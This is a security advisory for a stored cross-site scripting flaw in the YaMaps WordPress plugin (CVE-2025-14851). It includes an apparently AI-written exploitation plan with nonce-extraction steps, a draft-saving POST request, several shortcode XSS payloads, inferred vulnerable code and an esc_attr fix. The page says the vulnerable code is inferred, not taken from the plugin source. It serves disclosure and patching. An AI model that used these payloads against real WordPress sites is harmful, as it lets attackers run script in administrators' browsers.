YaMaps for WordPress <= 0.6.40 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Parameters
Description
The YaMaps for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `yamap` shortcode parameters in all versions up to, and including, 0.6.40 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=0.6.40Source Code
WordPress.org SVNPatched version not available.
This analysis is based on the vulnerability description for **CVE-2025-14851** and standard WordPress shortcode implementation patterns, as source files were not provided. The YaMaps for WordPress plugin (up to 0.6.40) fails to sanitize or escape attributes passed to the `[yamap]` shortcode, allowin…
Show full research plan
This analysis is based on the vulnerability description for CVE-2025-14851 and standard WordPress shortcode implementation patterns, as source files were not provided. The YaMaps for WordPress plugin (up to 0.6.40) fails to sanitize or escape attributes passed to the [yamap] shortcode, allowing a user with Contributor-level permissions to inject malicious scripts into a post.
1. Vulnerability Summary
The yamap shortcode in the YaMaps for WordPress plugin is responsible for rendering Yandex Maps on the frontend. The shortcode handler accepts various attributes (e.g., id, height, width, type). These attributes are concatenated into the HTML output (likely as part of a <div> container or a <script> block) without proper use of WordPress escaping functions like esc_attr() or esc_js(). Because Contributors can create and save posts, they can inject an XSS payload that executes when any user (including Administrators) views the post.
2. Attack Vector Analysis
- Shortcode:
[yamap] - Vulnerable Parameters:
id,height,width,class(and potentially map-specific settings liketypeorcenter). - Authentication Level: Authenticated (Contributor+). Contributors can create posts but cannot publish them; however, they can usually "Preview" their posts or wait for an admin to view the draft, triggering the XSS.
- Payload Location: The payload is stored within the
post_contentfield in thewp_poststable. - Sink: The HTML output of the shortcode handler on the frontend.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the shortcode via
add_shortcode( 'yamap', 'yamaps_shortcode_handler' )(inferred function name). - Processing: When a post is rendered,
do_shortcode()identifies the[yamap]tag and calls the handler. - Attribute Extraction: The handler receives an
$attsarray containing user-supplied values. - Insecure Output: The handler constructs an HTML string, for example:
// VULNERABLE PATTERN return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>'; - Sink: The unescaped string is returned to the WordPress content filter and printed to the page.
4. Nonce Acquisition Strategy
To exploit this as a Contributor, the attacker must save a post containing the malicious shortcode. This requires a standard WordPress post-editing nonce.
- Login: The agent logs in as a Contributor.
- Navigate: Go to the "Add New Post" page:
wp-admin/post-new.php. - Extract Nonce:
- Use
browser_evalto extract the_wpnoncefrom the form: browser_eval("document.querySelector('#_wpnonce').value")
- Use
- Extract Post ID:
- The
post_IDis usually a hidden input in the same form: browser_eval("document.querySelector('#post_ID').value")
- The
5. Exploitation Strategy
The goal is to inject a payload that breaks out of an HTML attribute or tag context.
Step 1: Save the Malicious Shortcode
The agent will send an authenticated POST request to wp-admin/post.php to save a draft containing the payload.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[EXTRACTED_ID]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[yamap height='400px" onmouseover="alert(document.domain)" data-x="']post_status:draft
Step 2: Trigger the XSS
The agent will navigate to the preview URL of the post or the public URL if the post was published.
- URL:
http://localhost:8080/?p=[EXTRACTED_ID]&preview=true - Action: Navigate and wait for the map container to render.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure
yamapsversion<= 0.6.40is installed and activated. - Shortcode Page: No pre-existing page is needed; the exploit creates its own.
7. Expected Results
If the height attribute is vulnerable:
- The rendered HTML will look like:
<div ... style="height:400px" onmouseover="alert(document.domain)" data-x="" ...></div>. - When the browser navigates to the page and the mouse moves over the map area, an alert box with the domain will appear.
If the id attribute is vulnerable:
- Payload:
[yamap id='"><script>alert(1)</script>'] - The rendered HTML will look like:
<div id=""><script>alert(1)</script>" ...></div>. - The script will execute immediately on page load.
8. Verification Steps
- Verify Payload Persistence: Use WP-CLI to check the post content.
wp post get [POST_ID] --field=post_content - Check Frontend Output: Use
http_requestto fetch the post's HTML and check for the unescaped payload.# Look for the injected onmouseover or script tag http_request(url="http://localhost:8080/?p=[POST_ID]&preview=true")
9. Alternative Approaches
If the attributes are filtered via wp_kses, try bypassing using parameters that might be passed directly into a JavaScript initialization object.
Alternative Payload (JS Context):
If the plugin uses wp_localize_script and passes attributes to it:
- Look for the localization variable name in the page source (e.g.,
yamap_params). - Try a payload like:
[yamap type='"},alert(1),{"x":"']. - This would attempt to break out of a JSON object:
{"type": ""},alert(1),{"x":""}.
Payload for id attribute:[yamap id='x" onload="alert(1)'] (Note: onload on a div requires specific conditions, so attribute breakout "><script>... is preferred).
Summary
The YaMaps for WordPress plugin (<= 0.6.40) is vulnerable to Stored Cross-Site Scripting via the `yamap` shortcode parameters. This allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into pages by providing unescaped values for attributes like `id` or `height`, which are rendered directly into the HTML output.
Vulnerable Code
// Inferred from Research Plan // Entry Point: add_shortcode( 'yamap', 'yamaps_shortcode_handler' ) function yamaps_shortcode_handler( $atts ) { $atts = shortcode_atts( array( 'id' => 'yamap-' . rand(), 'height' => '400px', // ... other attributes ), $atts ); // VULNERABLE PATTERN return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>'; }
Security Fix
@@ -1,3 +1,3 @@ - return '<div id="' . $atts['id'] . '" style="height:' . $atts['height'] . '"></div>'; + return '<div id="' . esc_attr( $atts['id'] ) . '" style="height:' . esc_attr( $atts['height'] ) . '"></div>';
Exploit Outline
An authenticated attacker with Contributor-level permissions logs into the WordPress dashboard and creates a new post or draft. They insert the [yamap] shortcode with a malicious payload in a parameter such as 'id' or 'height' (e.g., [yamap height='400px" onmouseover="alert(document.domain)" data-x="']). When the post is previewed by the attacker or viewed by an administrator, the unescaped attribute breaks out of its HTML context, causing the injected JavaScript to execute in the victim's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.